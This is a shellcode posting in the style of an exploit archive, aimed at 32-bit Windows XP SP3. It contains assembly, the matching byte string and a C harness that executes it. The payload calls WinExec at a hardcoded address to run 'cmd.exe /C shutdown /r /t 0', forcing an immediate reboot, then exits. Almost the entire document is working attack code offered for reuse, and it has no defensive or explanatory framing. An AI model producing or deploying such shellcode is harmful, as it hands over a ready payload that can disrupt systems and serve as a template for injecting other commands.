/*
#[+] Author: TUNISIAN CYBER
#[+] Title: Shellcode: win32/xp sp3 Restart computer
#[+] Date: 16-04-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp 32bit SP3
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R
#[+] Credits: steve hanna
projectshellcode.com
=============================
Assembly:
;create.asm
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand
CommandReturn:
pop ebx
xor eax,eax
push eax
push ebx
mov ebx,0x7c8623ad
call ebx
xor eax,eax
push eax
mov ebx, 0x7c81cafa
call ebx
GetCommand:
call CommandReturn
db "cmd.exe /C shutdown /r /t 0"
db 0x00
=============================
*/
char
shellcode[] =
"\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x43\x20"
"\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2f\x72\x20\x2f\x74\x20\x30\x00"
;
int
main(
int
argc,
char
**argv){
int
(*f)();f = (
int
(*)())shellcode;(
int
)(*f)();}